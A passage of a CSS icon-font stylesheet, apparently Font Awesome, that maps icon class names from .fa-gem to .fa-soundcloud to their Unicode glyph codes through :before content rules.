.fa-gem:before {
  content: "\f3a5"; }

.fa-genderless:before {
  content: "\f22d"; }

.fa-get-pocket:before {
  content: "\f265"; }

.fa-gg:before {
  content: "\f260"; }

.fa-gg-circle:before {
  content: "\f261"; }

.fa-ghost:before {
  content: "\f6e2"; }

.fa-gift:before {
  content: "\f06b"; }

.fa-gifts:before {
  content: "\f79c"; }

.fa-git:before {
  content: "\f1d3"; }

.fa-git-alt:before {
  content: "\f841"; }

.fa-git-square:before {
  content: "\f1d2"; }

.fa-github:before {
  content: "\f09b"; }

.fa-github-alt:before {
  content: "\f113"; }

.fa-github-square:before {
  content: "\f092"; }

.fa-gitkraken:before {
  content: "\f3a6"; }

.fa-gitlab:before {
  content: "\f296"; }

.fa-gitter:before {
  content: "\f426"; }

.fa-glass-cheers:before {
  content: "\f79f"; }

.fa-glass-martini:before {
  content: "\f000"; }

.fa-glass-martini-alt:before {
  content: "\f57b"; }

.fa-glass-whiskey:before {
  content: "\f7a0"; }

.fa-glasses:before {
  content: "\f530"; }

.fa-glide:before {
  content: "\f2a5"; }

.fa-glide-g:before {
  content: "\f2a6"; }

.fa-globe:before {
  content: "\f0ac"; }

.fa-globe-africa:before {
  content: "\f57c"; }

.fa-globe-americas:before {
  content: "\f57d"; }

.fa-globe-asia:before {
  content: "\f57e"; }

.fa-globe-europe:before {
  content: "\f7a2"; }

.fa-gofore:before {
  content: "\f3a7"; }

.fa-golf-ball:before {
  content: "\f450"; }

.fa-goodreads:before {
  content: "\f3a8"; }

.fa-goodreads-g:before {
  content: "\f3a9"; }

.fa-google:before {
  content: "\f1a0"; }

.fa-google-drive:before {
  content: "\f3aa"; }

.fa-google-pay:before {
  content: "\e079"; }

.fa-google-play:before {
  content: "\f3ab"; }

.fa-google-plus:before {
  content: "\f2b3"; }

.fa-google-plus-g:before {
  content: "\f0d5"; }

.fa-google-plus-square:before {
  content: "\f0d4"; }

.fa-google-wallet:before {
  content: "\f1ee"; }

.fa-gopuram:before {
  content: "\f664"; }

.fa-graduation-cap:before {
  content: "\f19d"; }

.fa-gratipay:before {
  content: "\f184"; }

.fa-grav:before {
  content: "\f2d6"; }

.fa-greater-than:before {
  content: "\f531"; }

.fa-greater-than-equal:before {
  content: "\f532"; }

.fa-grimace:before {
  content: "\f57f"; }

.fa-grin:before {
  content: "\f580"; }

.fa-grin-alt:before {
  content: "\f581"; }

.fa-grin-beam:before {
  content: "\f582"; }

.fa-grin-beam-sweat:before {
  content: "\f583"; }

.fa-grin-hearts:before {
  content: "\f584"; }

.fa-grin-squint:before {
  content: "\f585"; }

.fa-grin-squint-tears:before {
  content: "\f586"; }

.fa-grin-stars:before {
  content: "\f587"; }

.fa-grin-tears:before {
  content: "\f588"; }

.fa-grin-tongue:before {
  content: "\f589"; }

.fa-grin-tongue-squint:before {
  content: "\f58a"; }

.fa-grin-tongue-wink:before {
  content: "\f58b"; }

.fa-grin-wink:before {
  content: "\f58c"; }

.fa-grip-horizontal:before {
  content: "\f58d"; }

.fa-grip-lines:before {
  content: "\f7a4"; }

.fa-grip-lines-vertical:before {
  content: "\f7a5"; }

.fa-grip-vertical:before {
  content: "\f58e"; }

.fa-gripfire:before {
  content: "\f3ac"; }

.fa-grunt:before {
  content: "\f3ad"; }

.fa-guilded:before {
  content: "\e07e"; }

.fa-guitar:before {
  content: "\f7a6"; }

.fa-gulp:before {
  content: "\f3ae"; }

.fa-h-square:before {
  content: "\f0fd"; }

.fa-hacker-news:before {
  content: "\f1d4"; }

.fa-hacker-news-square:before {
  content: "\f3af"; }

.fa-hackerrank:before {
  content: "\f5f7"; }

.fa-hamburger:before {
  content: "\f805"; }

.fa-hammer:before {
  content: "\f6e3"; }

.fa-hamsa:before {
  content: "\f665"; }

.fa-hand-holding:before {
  content: "\f4bd"; }

.fa-hand-holding-heart:before {
  content: "\f4be"; }

.fa-hand-holding-medical:before {
  content: "\e05c"; }

.fa-hand-holding-usd:before {
  content: "\f4c0"; }

.fa-hand-holding-water:before {
  content: "\f4c1"; }

.fa-hand-lizard:before {
  content: "\f258"; }

.fa-hand-middle-finger:before {
  content: "\f806"; }

.fa-hand-paper:before {
  content: "\f256"; }

.fa-hand-peace:before {
  content: "\f25b"; }

.fa-hand-point-down:before {
  content: "\f0a7"; }

.fa-hand-point-left:before {
  content: "\f0a5"; }

.fa-hand-point-right:before {
  content: "\f0a4"; }

.fa-hand-point-up:before {
  content: "\f0a6"; }

.fa-hand-pointer:before {
  content: "\f25a"; }

.fa-hand-rock:before {
  content: "\f255"; }

.fa-hand-scissors:before {
  content: "\f257"; }

.fa-hand-sparkles:before {
  content: "\e05d"; }

.fa-hand-spock:before {
  content: "\f259"; }

.fa-hands:before {
  content: "\f4c2"; }

.fa-hands-helping:before {
  content: "\f4c4"; }

.fa-hands-wash:before {
  content: "\e05e"; }

.fa-handshake:before {
  content: "\f2b5"; }

.fa-handshake-alt-slash:before {
  content: "\e05f"; }

.fa-handshake-slash:before {
  content: "\e060"; }

.fa-hanukiah:before {
  content: "\f6e6"; }

.fa-hard-hat:before {
  content: "\f807"; }

.fa-hashtag:before {
  content: "\f292"; }

.fa-hat-cowboy:before {
  content: "\f8c0"; }

.fa-hat-cowboy-side:before {
  content: "\f8c1"; }

.fa-hat-wizard:before {
  content: "\f6e8"; }

.fa-hdd:before {
  content: "\f0a0"; }

.fa-head-side-cough:before {
  content: "\e061"; }

.fa-head-side-cough-slash:before {
  content: "\e062"; }

.fa-head-side-mask:before {
  content: "\e063"; }

.fa-head-side-virus:before {
  content: "\e064"; }

.fa-heading:before {
  content: "\f1dc"; }

.fa-headphones:before {
  content: "\f025"; }

.fa-headphones-alt:before {
  content: "\f58f"; }

.fa-headset:before {
  content: "\f590"; }

.fa-heart:before {
  content: "\f004"; }

.fa-heart-broken:before {
  content: "\f7a9"; }

.fa-heartbeat:before {
  content: "\f21e"; }

.fa-helicopter:before {
  content: "\f533"; }

.fa-highlighter:before {
  content: "\f591"; }

.fa-hiking:before {
  content: "\f6ec"; }

.fa-hippo:before {
  content: "\f6ed"; }

.fa-hips:before {
  content: "\f452"; }

.fa-hire-a-helper:before {
  content: "\f3b0"; }

.fa-history:before {
  content: "\f1da"; }

.fa-hive:before {
  content: "\e07f"; }

.fa-hockey-puck:before {
  content: "\f453"; }

.fa-holly-berry:before {
  content: "\f7aa"; }

.fa-home:before {
  content: "\f015"; }

.fa-hooli:before {
  content: "\f427"; }

.fa-hornbill:before {
  content: "\f592"; }

.fa-horse:before {
  content: "\f6f0"; }

.fa-horse-head:before {
  content: "\f7ab"; }

.fa-hospital:before {
  content: "\f0f8"; }

.fa-hospital-alt:before {
  content: "\f47d"; }

.fa-hospital-symbol:before {
  content: "\f47e"; }

.fa-hospital-user:before {
  content: "\f80d"; }

.fa-hot-tub:before {
  content: "\f593"; }

.fa-hotdog:before {
  content: "\f80f"; }

.fa-hotel:before {
  content: "\f594"; }

.fa-hotjar:before {
  content: "\f3b1"; }

.fa-hourglass:before {
  content: "\f254"; }

.fa-hourglass-end:before {
  content: "\f253"; }

.fa-hourglass-half:before {
  content: "\f252"; }

.fa-hourglass-start:before {
  content: "\f251"; }

.fa-house-damage:before {
  content: "\f6f1"; }

.fa-house-user:before {
  content: "\e065"; }

.fa-houzz:before {
  content: "\f27c"; }

.fa-hryvnia:before {
  content: "\f6f2"; }

.fa-html5:before {
  content: "\f13b"; }

.fa-hubspot:before {
  content: "\f3b2"; }

.fa-i-cursor:before {
  content: "\f246"; }

.fa-ice-cream:before {
  content: "\f810"; }

.fa-icicles:before {
  content: "\f7ad"; }

.fa-icons:before {
  content: "\f86d"; }

.fa-id-badge:before {
  content: "\f2c1"; }

.fa-id-card:before {
  content: "\f2c2"; }

.fa-id-card-alt:before {
  content: "\f47f"; }

.fa-ideal:before {
  content: "\e013"; }

.fa-igloo:before {
  content: "\f7ae"; }

.fa-image:before {
  content: "\f03e"; }

.fa-images:before {
  content: "\f302"; }

.fa-imdb:before {
  content: "\f2d8"; }

.fa-inbox:before {
  content: "\f01c"; }

.fa-indent:before {
  content: "\f03c"; }

.fa-industry:before {
  content: "\f275"; }

.fa-infinity:before {
  content: "\f534"; }

.fa-info:before {
  content: "\f129"; }

.fa-info-circle:before {
  content: "\f05a"; }

.fa-innosoft:before {
  content: "\e080"; }

.fa-instagram:before {
  content: "\f16d"; }

.fa-instagram-square:before {
  content: "\e055"; }

.fa-instalod:before {
  content: "\e081"; }

.fa-intercom:before {
  content: "\f7af"; }

.fa-internet-explorer:before {
  content: "\f26b"; }

.fa-invision:before {
  content: "\f7b0"; }

.fa-ioxhost:before {
  content: "\f208"; }

.fa-italic:before {
  content: "\f033"; }

.fa-itch-io:before {
  content: "\f83a"; }

.fa-itunes:before {
  content: "\f3b4"; }

.fa-itunes-note:before {
  content: "\f3b5"; }

.fa-java:before {
  content: "\f4e4"; }

.fa-jedi:before {
  content: "\f669"; }

.fa-jedi-order:before {
  content: "\f50e"; }

.fa-jenkins:before {
  content: "\f3b6"; }

.fa-jira:before {
  content: "\f7b1"; }

.fa-joget:before {
  content: "\f3b7"; }

.fa-joint:before {
  content: "\f595"; }

.fa-joomla:before {
  content: "\f1aa"; }

.fa-journal-whills:before {
  content: "\f66a"; }

.fa-js:before {
  content: "\f3b8"; }

.fa-js-square:before {
  content: "\f3b9"; }

.fa-jsfiddle:before {
  content: "\f1cc"; }

.fa-kaaba:before {
  content: "\f66b"; }

.fa-kaggle:before {
  content: "\f5fa"; }

.fa-key:before {
  content: "\f084"; }

.fa-keybase:before {
  content: "\f4f5"; }

.fa-keyboard:before {
  content: "\f11c"; }

.fa-keycdn:before {
  content: "\f3ba"; }

.fa-khanda:before {
  content: "\f66d"; }

.fa-kickstarter:before {
  content: "\f3bb"; }

.fa-kickstarter-k:before {
  content: "\f3bc"; }

.fa-kiss:before {
  content: "\f596"; }

.fa-kiss-beam:before {
  content: "\f597"; }

.fa-kiss-wink-heart:before {
  content: "\f598"; }

.fa-kiwi-bird:before {
  content: "\f535"; }

.fa-korvue:before {
  content: "\f42f"; }

.fa-landmark:before {
  content: "\f66f"; }

.fa-language:before {
  content: "\f1ab"; }

.fa-laptop:before {
  content: "\f109"; }

.fa-laptop-code:before {
  content: "\f5fc"; }

.fa-laptop-house:before {
  content: "\e066"; }

.fa-laptop-medical:before {
  content: "\f812"; }

.fa-laravel:before {
  content: "\f3bd"; }

.fa-lastfm:before {
  content: "\f202"; }

.fa-lastfm-square:before {
  content: "\f203"; }

.fa-laugh:before {
  content: "\f599"; }

.fa-laugh-beam:before {
  content: "\f59a"; }

.fa-laugh-squint:before {
  content: "\f59b"; }

.fa-laugh-wink:before {
  content: "\f59c"; }

.fa-layer-group:before {
  content: "\f5fd"; }

.fa-leaf:before {
  content: "\f06c"; }

.fa-leanpub:before {
  content: "\f212"; }

.fa-lemon:before {
  content: "\f094"; }

.fa-less:before {
  content: "\f41d"; }

.fa-less-than:before {
  content: "\f536"; }

.fa-less-than-equal:before {
  content: "\f537"; }

.fa-level-down-alt:before {
  content: "\f3be"; }

.fa-level-up-alt:before {
  content: "\f3bf"; }

.fa-life-ring:before {
  content: "\f1cd"; }

.fa-lightbulb:before {
  content: "\f0eb"; }

.fa-line:before {
  content: "\f3c0"; }

.fa-link:before {
  content: "\f0c1"; }

.fa-linkedin:before {
  content: "\f08c"; }

.fa-linkedin-in:before {
  content: "\f0e1"; }

.fa-linode:before {
  content: "\f2b8"; }

.fa-linux:before {
  content: "\f17c"; }

.fa-lira-sign:before {
  content: "\f195"; }

.fa-list:before {
  content: "\f03a"; }

.fa-list-alt:before {
  content: "\f022"; }

.fa-list-ol:before {
  content: "\f0cb"; }

.fa-list-ul:before {
  content: "\f0ca"; }

.fa-location-arrow:before {
  content: "\f124"; }

.fa-lock:before {
  content: "\f023"; }

.fa-lock-open:before {
  content: "\f3c1"; }

.fa-long-arrow-alt-down:before {
  content: "\f309"; }

.fa-long-arrow-alt-left:before {
  content: "\f30a"; }

.fa-long-arrow-alt-right:before {
  content: "\f30b"; }

.fa-long-arrow-alt-up:before {
  content: "\f30c"; }

.fa-low-vision:before {
  content: "\f2a8"; }

.fa-luggage-cart:before {
  content: "\f59d"; }

.fa-lungs:before {
  content: "\f604"; }

.fa-lungs-virus:before {
  content: "\e067"; }

.fa-lyft:before {
  content: "\f3c3"; }

.fa-magento:before {
  content: "\f3c4"; }

.fa-magic:before {
  content: "\f0d0"; }

.fa-magnet:before {
  content: "\f076"; }

.fa-mail-bulk:before {
  content: "\f674"; }

.fa-mailchimp:before {
  content: "\f59e"; }

.fa-male:before {
  content: "\f183"; }

.fa-mandalorian:before {
  content: "\f50f"; }

.fa-map:before {
  content: "\f279"; }

.fa-map-marked:before {
  content: "\f59f"; }

.fa-map-marked-alt:before {
  content: "\f5a0"; }

.fa-map-marker:before {
  content: "\f041"; }

.fa-map-marker-alt:before {
  content: "\f3c5"; }

.fa-map-pin:before {
  content: "\f276"; }

.fa-map-signs:before {
  content: "\f277"; }

.fa-markdown:before {
  content: "\f60f"; }

.fa-marker:before {
  content: "\f5a1"; }

.fa-mars:before {
  content: "\f222"; }

.fa-mars-double:before {
  content: "\f227"; }

.fa-mars-stroke:before {
  content: "\f229"; }

.fa-mars-stroke-h:before {
  content: "\f22b"; }

.fa-mars-stroke-v:before {
  content: "\f22a"; }

.fa-mask:before {
  content: "\f6fa"; }

.fa-mastodon:before {
  content: "\f4f6"; }

.fa-maxcdn:before {
  content: "\f136"; }

.fa-mdb:before {
  content: "\f8ca"; }

.fa-medal:before {
  content: "\f5a2"; }

.fa-medapps:before {
  content: "\f3c6"; }

.fa-medium:before {
  content: "\f23a"; }

.fa-medium-m:before {
  content: "\f3c7"; }

.fa-medkit:before {
  content: "\f0fa"; }

.fa-medrt:before {
  content: "\f3c8"; }

.fa-meetup:before {
  content: "\f2e0"; }

.fa-megaport:before {
  content: "\f5a3"; }

.fa-meh:before {
  content: "\f11a"; }

.fa-meh-blank:before {
  content: "\f5a4"; }

.fa-meh-rolling-eyes:before {
  content: "\f5a5"; }

.fa-memory:before {
  content: "\f538"; }

.fa-mendeley:before {
  content: "\f7b3"; }

.fa-menorah:before {
  content: "\f676"; }

.fa-mercury:before {
  content: "\f223"; }

.fa-meteor:before {
  content: "\f753"; }

.fa-microblog:before {
  content: "\e01a"; }

.fa-microchip:before {
  content: "\f2db"; }

.fa-microphone:before {
  content: "\f130"; }

.fa-microphone-alt:before {
  content: "\f3c9"; }

.fa-microphone-alt-slash:before {
  content: "\f539"; }

.fa-microphone-slash:before {
  content: "\f131"; }

.fa-microscope:before {
  content: "\f610"; }

.fa-microsoft:before {
  content: "\f3ca"; }

.fa-minus:before {
  content: "\f068"; }

.fa-minus-circle:before {
  content: "\f056"; }

.fa-minus-square:before {
  content: "\f146"; }

.fa-mitten:before {
  content: "\f7b5"; }

.fa-mix:before {
  content: "\f3cb"; }

.fa-mixcloud:before {
  content: "\f289"; }

.fa-mixer:before {
  content: "\e056"; }

.fa-mizuni:before {
  content: "\f3cc"; }

.fa-mobile:before {
  content: "\f10b"; }

.fa-mobile-alt:before {
  content: "\f3cd"; }

.fa-modx:before {
  content: "\f285"; }

.fa-monero:before {
  content: "\f3d0"; }

.fa-money-bill:before {
  content: "\f0d6"; }

.fa-money-bill-alt:before {
  content: "\f3d1"; }

.fa-money-bill-wave:before {
  content: "\f53a"; }

.fa-money-bill-wave-alt:before {
  content: "\f53b"; }

.fa-money-check:before {
  content: "\f53c"; }

.fa-money-check-alt:before {
  content: "\f53d"; }

.fa-monument:before {
  content: "\f5a6"; }

.fa-moon:before {
  content: "\f186"; }

.fa-mortar-pestle:before {
  content: "\f5a7"; }

.fa-mosque:before {
  content: "\f678"; }

.fa-motorcycle:before {
  content: "\f21c"; }

.fa-mountain:before {
  content: "\f6fc"; }

.fa-mouse:before {
  content: "\f8cc"; }

.fa-mouse-pointer:before {
  content: "\f245"; }

.fa-mug-hot:before {
  content: "\f7b6"; }

.fa-music:before {
  content: "\f001"; }

.fa-napster:before {
  content: "\f3d2"; }

.fa-neos:before {
  content: "\f612"; }

.fa-network-wired:before {
  content: "\f6ff"; }

.fa-neuter:before {
  content: "\f22c"; }

.fa-newspaper:before {
  content: "\f1ea"; }

.fa-nimblr:before {
  content: "\f5a8"; }

.fa-node:before {
  content: "\f419"; }

.fa-node-js:before {
  content: "\f3d3"; }

.fa-not-equal:before {
  content: "\f53e"; }

.fa-notes-medical:before {
  content: "\f481"; }

.fa-npm:before {
  content: "\f3d4"; }

.fa-ns8:before {
  content: "\f3d5"; }

.fa-nutritionix:before {
  content: "\f3d6"; }

.fa-object-group:before {
  content: "\f247"; }

.fa-object-ungroup:before {
  content: "\f248"; }

.fa-octopus-deploy:before {
  content: "\e082"; }

.fa-odnoklassniki:before {
  content: "\f263"; }

.fa-odnoklassniki-square:before {
  content: "\f264"; }

.fa-oil-can:before {
  content: "\f613"; }

.fa-old-republic:before {
  content: "\f510"; }

.fa-om:before {
  content: "\f679"; }

.fa-opencart:before {
  content: "\f23d"; }

.fa-openid:before {
  content: "\f19b"; }

.fa-opera:before {
  content: "\f26a"; }

.fa-optin-monster:before {
  content: "\f23c"; }

.fa-orcid:before {
  content: "\f8d2"; }

.fa-osi:before {
  content: "\f41a"; }

.fa-otter:before {
  content: "\f700"; }

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  content: "\f03b"; }

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.fa-pagelines:before {
  content: "\f18c"; }

.fa-pager:before {
  content: "\f815"; }

.fa-paint-brush:before {
  content: "\f1fc"; }

.fa-paint-roller:before {
  content: "\f5aa"; }

.fa-palette:before {
  content: "\f53f"; }

.fa-palfed:before {
  content: "\f3d8"; }

.fa-pallet:before {
  content: "\f482"; }

.fa-paper-plane:before {
  content: "\f1d8"; }

.fa-paperclip:before {
  content: "\f0c6"; }

.fa-parachute-box:before {
  content: "\f4cd"; }

.fa-paragraph:before {
  content: "\f1dd"; }

.fa-parking:before {
  content: "\f540"; }

.fa-passport:before {
  content: "\f5ab"; }

.fa-pastafarianism:before {
  content: "\f67b"; }

.fa-paste:before {
  content: "\f0ea"; }

.fa-patreon:before {
  content: "\f3d9"; }

.fa-pause:before {
  content: "\f04c"; }

.fa-pause-circle:before {
  content: "\f28b"; }

.fa-paw:before {
  content: "\f1b0"; }

.fa-paypal:before {
  content: "\f1ed"; }

.fa-peace:before {
  content: "\f67c"; }

.fa-pen:before {
  content: "\f304"; }

.fa-pen-alt:before {
  content: "\f305"; }

.fa-pen-fancy:before {
  content: "\f5ac"; }

.fa-pen-nib:before {
  content: "\f5ad"; }

.fa-pen-square:before {
  content: "\f14b"; }

.fa-pencil-alt:before {
  content: "\f303"; }

.fa-pencil-ruler:before {
  content: "\f5ae"; }

.fa-penny-arcade:before {
  content: "\f704"; }

.fa-people-arrows:before {
  content: "\e068"; }

.fa-people-carry:before {
  content: "\f4ce"; }

.fa-pepper-hot:before {
  content: "\f816"; }

.fa-perbyte:before {
  content: "\e083"; }

.fa-percent:before {
  content: "\f295"; }

.fa-percentage:before {
  content: "\f541"; }

.fa-periscope:before {
  content: "\f3da"; }

.fa-person-booth:before {
  content: "\f756"; }

.fa-phabricator:before {
  content: "\f3db"; }

.fa-phoenix-framework:before {
  content: "\f3dc"; }

.fa-phoenix-squadron:before {
  content: "\f511"; }

.fa-phone:before {
  content: "\f095"; }

.fa-phone-alt:before {
  content: "\f879"; }

.fa-phone-slash:before {
  content: "\f3dd"; }

.fa-phone-square:before {
  content: "\f098"; }

.fa-phone-square-alt:before {
  content: "\f87b"; }

.fa-phone-volume:before {
  content: "\f2a0"; }

.fa-photo-video:before {
  content: "\f87c"; }

.fa-php:before {
  content: "\f457"; }

.fa-pied-piper:before {
  content: "\f2ae"; }

.fa-pied-piper-alt:before {
  content: "\f1a8"; }

.fa-pied-piper-hat:before {
  content: "\f4e5"; }

.fa-pied-piper-pp:before {
  content: "\f1a7"; }

.fa-pied-piper-square:before {
  content: "\e01e"; }

.fa-piggy-bank:before {
  content: "\f4d3"; }

.fa-pills:before {
  content: "\f484"; }

.fa-pinterest:before {
  content: "\f0d2"; }

.fa-pinterest-p:before {
  content: "\f231"; }

.fa-pinterest-square:before {
  content: "\f0d3"; }

.fa-pizza-slice:before {
  content: "\f818"; }

.fa-place-of-worship:before {
  content: "\f67f"; }

.fa-plane:before {
  content: "\f072"; }

.fa-plane-arrival:before {
  content: "\f5af"; }

.fa-plane-departure:before {
  content: "\f5b0"; }

.fa-plane-slash:before {
  content: "\e069"; }

.fa-play:before {
  content: "\f04b"; }

.fa-play-circle:before {
  content: "\f144"; }

.fa-playstation:before {
  content: "\f3df"; }

.fa-plug:before {
  content: "\f1e6"; }

.fa-plus:before {
  content: "\f067"; }

.fa-plus-circle:before {
  content: "\f055"; }

.fa-plus-square:before {
  content: "\f0fe"; }

.fa-podcast:before {
  content: "\f2ce"; }

.fa-poll:before {
  content: "\f681"; }

.fa-poll-h:before {
  content: "\f682"; }

.fa-poo:before {
  content: "\f2fe"; }

.fa-poo-storm:before {
  content: "\f75a"; }

.fa-poop:before {
  content: "\f619"; }

.fa-portrait:before {
  content: "\f3e0"; }

.fa-pound-sign:before {
  content: "\f154"; }

.fa-power-off:before {
  content: "\f011"; }

.fa-pray:before {
  content: "\f683"; }

.fa-praying-hands:before {
  content: "\f684"; }

.fa-prescription:before {
  content: "\f5b1"; }

.fa-prescription-bottle:before {
  content: "\f485"; }

.fa-prescription-bottle-alt:before {
  content: "\f486"; }

.fa-print:before {
  content: "\f02f"; }

.fa-procedures:before {
  content: "\f487"; }

.fa-product-hunt:before {
  content: "\f288"; }

.fa-project-diagram:before {
  content: "\f542"; }

.fa-pump-medical:before {
  content: "\e06a"; }

.fa-pump-soap:before {
  content: "\e06b"; }

.fa-pushed:before {
  content: "\f3e1"; }

.fa-puzzle-piece:before {
  content: "\f12e"; }

.fa-python:before {
  content: "\f3e2"; }

.fa-qq:before {
  content: "\f1d6"; }

.fa-qrcode:before {
  content: "\f029"; }

.fa-question:before {
  content: "\f128"; }

.fa-question-circle:before {
  content: "\f059"; }

.fa-quidditch:before {
  content: "\f458"; }

.fa-quinscape:before {
  content: "\f459"; }

.fa-quora:before {
  content: "\f2c4"; }

.fa-quote-left:before {
  content: "\f10d"; }

.fa-quote-right:before {
  content: "\f10e"; }

.fa-quran:before {
  content: "\f687"; }

.fa-r-project:before {
  content: "\f4f7"; }

.fa-radiation:before {
  content: "\f7b9"; }

.fa-radiation-alt:before {
  content: "\f7ba"; }

.fa-rainbow:before {
  content: "\f75b"; }

.fa-random:before {
  content: "\f074"; }

.fa-raspberry-pi:before {
  content: "\f7bb"; }

.fa-ravelry:before {
  content: "\f2d9"; }

.fa-react:before {
  content: "\f41b"; }

.fa-reacteurope:before {
  content: "\f75d"; }

.fa-readme:before {
  content: "\f4d5"; }

.fa-rebel:before {
  content: "\f1d0"; }

.fa-receipt:before {
  content: "\f543"; }

.fa-record-vinyl:before {
  content: "\f8d9"; }

.fa-recycle:before {
  content: "\f1b8"; }

.fa-red-river:before {
  content: "\f3e3"; }

.fa-reddit:before {
  content: "\f1a1"; }

.fa-reddit-alien:before {
  content: "\f281"; }

.fa-reddit-square:before {
  content: "\f1a2"; }

.fa-redhat:before {
  content: "\f7bc"; }

.fa-redo:before {
  content: "\f01e"; }

.fa-redo-alt:before {
  content: "\f2f9"; }

.fa-registered:before {
  content: "\f25d"; }

.fa-remove-format:before {
  content: "\f87d"; }

.fa-renren:before {
  content: "\f18b"; }

.fa-reply:before {
  content: "\f3e5"; }

.fa-reply-all:before {
  content: "\f122"; }

.fa-replyd:before {
  content: "\f3e6"; }

.fa-republican:before {
  content: "\f75e"; }

.fa-researchgate:before {
  content: "\f4f8"; }

.fa-resolving:before {
  content: "\f3e7"; }

.fa-restroom:before {
  content: "\f7bd"; }

.fa-retweet:before {
  content: "\f079"; }

.fa-rev:before {
  content: "\f5b2"; }

.fa-ribbon:before {
  content: "\f4d6"; }

.fa-ring:before {
  content: "\f70b"; }

.fa-road:before {
  content: "\f018"; }

.fa-robot:before {
  content: "\f544"; }

.fa-rocket:before {
  content: "\f135"; }

.fa-rocketchat:before {
  content: "\f3e8"; }

.fa-rockrms:before {
  content: "\f3e9"; }

.fa-route:before {
  content: "\f4d7"; }

.fa-rss:before {
  content: "\f09e"; }

.fa-rss-square:before {
  content: "\f143"; }

.fa-ruble-sign:before {
  content: "\f158"; }

.fa-ruler:before {
  content: "\f545"; }

.fa-ruler-combined:before {
  content: "\f546"; }

.fa-ruler-horizontal:before {
  content: "\f547"; }

.fa-ruler-vertical:before {
  content: "\f548"; }

.fa-running:before {
  content: "\f70c"; }

.fa-rupee-sign:before {
  content: "\f156"; }

.fa-rust:before {
  content: "\e07a"; }

.fa-sad-cry:before {
  content: "\f5b3"; }

.fa-sad-tear:before {
  content: "\f5b4"; }

.fa-safari:before {
  content: "\f267"; }

.fa-salesforce:before {
  content: "\f83b"; }

.fa-sass:before {
  content: "\f41e"; }

.fa-satellite:before {
  content: "\f7bf"; }

.fa-satellite-dish:before {
  content: "\f7c0"; }

.fa-save:before {
  content: "\f0c7"; }

.fa-schlix:before {
  content: "\f3ea"; }

.fa-school:before {
  content: "\f549"; }

.fa-screwdriver:before {
  content: "\f54a"; }

.fa-scribd:before {
  content: "\f28a"; }

.fa-scroll:before {
  content: "\f70e"; }

.fa-sd-card:before {
  content: "\f7c2"; }

.fa-search:before {
  content: "\f002"; }

.fa-search-dollar:before {
  content: "\f688"; }

.fa-search-location:before {
  content: "\f689"; }

.fa-search-minus:before {
  content: "\f010"; }

.fa-search-plus:before {
  content: "\f00e"; }

.fa-searchengin:before {
  content: "\f3eb"; }

.fa-seedling:before {
  content: "\f4d8"; }

.fa-sellcast:before {
  content: "\f2da"; }

.fa-sellsy:before {
  content: "\f213"; }

.fa-server:before {
  content: "\f233"; }

.fa-servicestack:before {
  content: "\f3ec"; }

.fa-shapes:before {
  content: "\f61f"; }

.fa-share:before {
  content: "\f064"; }

.fa-share-alt:before {
  content: "\f1e0"; }

.fa-share-alt-square:before {
  content: "\f1e1"; }

.fa-share-square:before {
  content: "\f14d"; }

.fa-shekel-sign:before {
  content: "\f20b"; }

.fa-shield-alt:before {
  content: "\f3ed"; }

.fa-shield-virus:before {
  content: "\e06c"; }

.fa-ship:before {
  content: "\f21a"; }

.fa-shipping-fast:before {
  content: "\f48b"; }

.fa-shirtsinbulk:before {
  content: "\f214"; }

.fa-shoe-prints:before {
  content: "\f54b"; }

.fa-shopify:before {
  content: "\e057"; }

.fa-shopping-bag:before {
  content: "\f290"; }

.fa-shopping-basket:before {
  content: "\f291"; }

.fa-shopping-cart:before {
  content: "\f07a"; }

.fa-shopware:before {
  content: "\f5b5"; }

.fa-shower:before {
  content: "\f2cc"; }

.fa-shuttle-van:before {
  content: "\f5b6"; }

.fa-sign:before {
  content: "\f4d9"; }

.fa-sign-in-alt:before {
  content: "\f2f6"; }

.fa-sign-language:before {
  content: "\f2a7"; }

.fa-sign-out-alt:before {
  content: "\f2f5"; }

.fa-signal:before {
  content: "\f012"; }

.fa-signature:before {
  content: "\f5b7"; }

.fa-sim-card:before {
  content: "\f7c4"; }

.fa-simplybuilt:before {
  content: "\f215"; }

.fa-sink:before {
  content: "\e06d"; }

.fa-sistrix:before {
  content: "\f3ee"; }

.fa-sitemap:before {
  content: "\f0e8"; }

.fa-sith:before {
  content: "\f512"; }

.fa-skating:before {
  content: "\f7c5"; }

.fa-sketch:before {
  content: "\f7c6"; }

.fa-skiing:before {
  content: "\f7c9"; }

.fa-skiing-nordic:before {
  content: "\f7ca"; }

.fa-skull:before {
  content: "\f54c"; }

.fa-skull-crossbones:before {
  content: "\f714"; }

.fa-skyatlas:before {
  content: "\f216"; }

.fa-skype:before {
  content: "\f17e"; }

.fa-slack:before {
  content: "\f198"; }

.fa-slack-hash:before {
  content: "\f3ef"; }

.fa-slash:before {
  content: "\f715"; }

.fa-sleigh:before {
  content: "\f7cc"; }

.fa-sliders-h:before {
  content: "\f1de"; }

.fa-slideshare:before {
  content: "\f1e7"; }

.fa-smile:before {
  content: "\f118"; }

.fa-smile-beam:before {
  content: "\f5b8"; }

.fa-smile-wink:before {
  content: "\f4da"; }

.fa-smog:before {
  content: "\f75f"; }

.fa-smoking:before {
  content: "\f48d"; }

.fa-smoking-ban:before {
  content: "\f54d"; }

.fa-sms:before {
  content: "\f7cd"; }

.fa-snapchat:before {
  content: "\f2ab"; }

.fa-snapchat-ghost:before {
  content: "\f2ac"; }

.fa-snapchat-square:before {
  content: "\f2ad"; }

.fa-snowboarding:before {
  content: "\f7ce"; }

.fa-snowflake:before {
  content: "\f2dc"; }

.fa-snowman:before {
  content: "\f7d0"; }

.fa-snowplow:before {
  content: "\f7d2"; }

.fa-soap:before {
  content: "\e06e"; }

.fa-socks:before {
  content: "\f696"; }

.fa-solar-panel:before {
  content: "\f5ba"; }

.fa-sort:before {
  content: "\f0dc"; }

.fa-sort-alpha-down:before {
  content: "\f15d"; }

.fa-sort-alpha-down-alt:before {
  content: "\f881"; }

.fa-sort-alpha-up:before {
  content: "\f15e"; }

.fa-sort-alpha-up-alt:before {
  content: "\f882"; }

.fa-sort-amount-down:before {
  content: "\f160"; }

.fa-sort-amount-down-alt:before {
  content: "\f884"; }

.fa-sort-amount-up:before {
  content: "\f161"; }

.fa-sort-amount-up-alt:before {
  content: "\f885"; }

.fa-sort-down:before {
  content: "\f0dd"; }

.fa-sort-numeric-down:before {
  content: "\f162"; }

.fa-sort-numeric-down-alt:before {
  content: "\f886"; }

.fa-sort-numeric-up:before {
  content: "\f163"; }

.fa-sort-numeric-up-alt:before {
  content: "\f887"; }

.fa-sort-up:before {
  content: "\f0de"; }

.fa-soundcloud:before {
  content: "\f1be"; }

